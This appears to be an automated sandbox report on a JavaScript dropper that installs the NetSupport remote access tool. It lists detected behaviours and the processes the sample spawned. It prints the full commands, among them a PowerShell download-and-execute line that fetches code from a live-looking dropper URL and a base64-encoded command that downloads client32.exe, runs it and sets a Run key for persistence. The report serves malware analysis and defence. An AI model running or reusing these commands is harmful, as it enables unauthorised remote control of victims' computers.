Analysis
- max time kernel
150s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
04/03/2024, 18:44
General
- Target DE-29202920.js
- Size 55KB
- Sample240304-xdgvvsah72
- SHA256 29753f0ec51bd0f7d69139ad2b359333c6d1aed2937a2e16982c1a2fee3bb97c
Malware Config
Extracted
-
ps1
-
ps1.dropper
https://compactgrill.hu/care.txt
Extracted
-
ps1
-
exe.dropper
http://whatisfurosemide.com/f877c2e5-2949-4498-af83-6a5c5jd37342a.txt
Signatures
- NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
- Blocklisted process makes network request 2 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 6 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\DE-29202920.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (New-Object Net.WebClient).DownloadString('https://compactgrill.hu/care.txt')"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nopROF -exeCu byPasS -WiNDows hI -E QwBoAGQAaQByACAAJABFAG4AdgA6AEwAbwBDAEEAbABhAHAAcABkAEEAVABhADsAIAAkAGsAbQAxAGgAVABRAEIARwA9AFsAYgB5AHQAZQBbAF0AXQBAACgAOAAwACwAIAA3ADUALAAgADMALAAgADQAKQA7ACAAJABIADQAYgB1AEwAVAA9ACcAaAB0AHQAcAA6AC8ALwB3AGgAYQB0AGkAcwBmAHUAcgBvAHMAZQBtAGkAZABlAC4AYwBvAG0ALwBmADgANwA3AGMAMgBlADUALQAyADkANAA5AC0ANAA0ADkAOAAtAGEAZgA4ADMALQA2AGEANQBjADUAagBkADMANwAzADQAMgBhAC4AdAB4AHQAJwA7ACAAJABhADQARABuAEYAWgB2ADAAPQAnAEMAaQBRAFYAOQBOAC4AegBpAHAAJwA7ACAAJAB1AGIAYgB2AEoAPQAnAFMAdABhAGIAbABlACAAZgBvAGwAZABlAHIAIABtAGEAbgBhAGcAZQByACAAKABtAGEAcgAuADAANAApACcAOwAgACQAawBIAFIAbgBDAGoAPQBpAG4AVgBPAEsAZQAtAFcARQBCAHIARQBxAHUARQBzAFQAIAAtAHUAcgBpACAAJABIADQAYgB1AEwAVAAgAC0AVQBTAGUAYgBBAFMAaQBjAHAAYQBSAFMASQBOAEcAOwAgACQAOQBDAHkAQQBlADQAVQBDAD0AJABrAEgAUgBuAEMAagAuAEMAbwBOAFQARQBOAFQAOwAgACQAZQB4AHMAOABaAFQAPQAkAEUAbgB2ADoATABvAEMAQQBsAGEAcABwAGQAQQBUAGEALAAgACQAdQBiAGIAdgBKACAALQBqAE8AaQBuACAAJwBcACcAOwAgACQAYwAwAEoAQwBvAGIAQwA9AEoATwBJAE4ALQBwAEEAVABIACAALQBQAGEAVABIACAAJABFAG4AdgA6AEwAbwBDAEEAbABhAHAAcABkAEEAVABhACAALQBDAEgAaQBMAGQAcABhAFQAaAAgACQAYQA0AEQAbgBGAFoAdgAwADsAIAAkAGcASABVAEYAdQA9AFsAQwBvAG4AdgBFAHIAVABdADoAOgBGAFIAbwBNAGIAQQBzAGUANgA0AHMAVABSAEkAbgBnACgAJAA5AEMAeQBBAGUANABVAEMAKQA7ACAAJABEAFgARgBpAFUAPQAkAGcASABVAEYAdQAgAC0AUwBwAGwASQB0ACAAJwAgACcAIAAtAGEAcwAgAFsAQgB5AHQAZQBbAF0AXQA7ACAAJABCAHMAQwBtAHcARABwAD0AJABrAG0AMQBoAFQAUQBCAEcAKwAkAEQAWABGAGkAVQA7ACAAcwBFAHQALQBDAG8AbgBUAGUATgBUACAAJABhADQARABuAEYAWgB2ADAAIAAkAEIAcwBDAG0AdwBEAHAAIAAtAEUATgBDAE8AZABJAE4ARwAgAEIAWQBUAEUAOwAgAEUAWABQAEEATgBEAC0AQQByAGMAaABJAFYAZQAgAC0AUABhAHQAaAAgACQAYwAwAEoAQwBvAGIAQwAgAC0ARABlAFMAdABpAG4AQQBUAGkATwBuAHAAYQBUAEgAIAAkAGUAeABzADgAWgBUACAALQBmAE8AcgBDAEUAOwAgAHIAZQBtAG8AdgBlAC0ASQBUAEUAbQAgACQAYQA0AEQAbgBGAFoAdgAwADsAIABDAEQAIAAkAGUAeABzADgAWgBUADsAIAAkAFcAaQBFAEUAYQB3AD0AIgAkAGUAeABzADgAWgBUAFwAYwBsAGkAZQBuAHQAMwAyAC4AZQB4AGUAIgA7ACAAcwB0AGEAcgB0ACAAYwBsAGkAZQBuAHQAMwAyAC4AZQB4AGUAOwAgAG4AZQB3AC0ASQBUAEUAbQBQAHIAbwBwAGUAUgB0AHkAIAAtAHAAQQB0AEgAIAAnAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFIAdQBuACcAIAAtAE4AYQBtAEUAIAAkAHUAYgBiAHYASgAgAC0AdgBBAGwAdQBFACAAJABXAGkARQBFAGEAdwAgAC0AUAByAE8AUABFAHIAVABZAFQAWQBQAGUAIAAnAFMAdAByAGkAbgBnACcAOwA=3⤵
- Blocklisted process makes network request
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Stable folder manager (mar.04)\client32.exe"C:\Users\Admin\AppData\Local\Stable folder manager (mar.04)\client32.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
HTCTL32.DLL
NSM.LIC
PCICHEK.DLL
PCICL32.DLL
PCICL32.dll
client32.exe
client32.ini
msvcr100.dll
pcicapi.dll
__PSScriptPolicyTest_sh3vjvpj.bzs.ps1
memory/2636-85-0x00007FFAE95E0000-0x00007FFAEA0A1000-memory.dmp
memory/2636-0-0x000001DCFF7E0000-0x000001DCFF802000-memory.dmp
memory/2636-12-0x000001DC98690000-0x000001DC986A0000-memory.dmp
memory/2636-11-0x000001DC98690000-0x000001DC986A0000-memory.dmp
memory/2636-10-0x00007FFAE95E0000-0x00007FFAEA0A1000-memory.dmp
memory/4468-13-0x00007FFAE95E0000-0x00007FFAEA0A1000-memory.dmp
memory/4468-77-0x00007FFAE95E0000-0x00007FFAEA0A1000-memory.dmp
memory/4468-27-0x000001CAD1680000-0x000001CAD168A000-memory.dmp
memory/4468-26-0x000001CAEBDA0000-0x000001CAEBDB2000-memory.dmp
memory/4468-25-0x000001CAD1760000-0x000001CAD1770000-memory.dmp
memory/4468-14-0x000001CAD1760000-0x000001CAD1770000-memory.dmp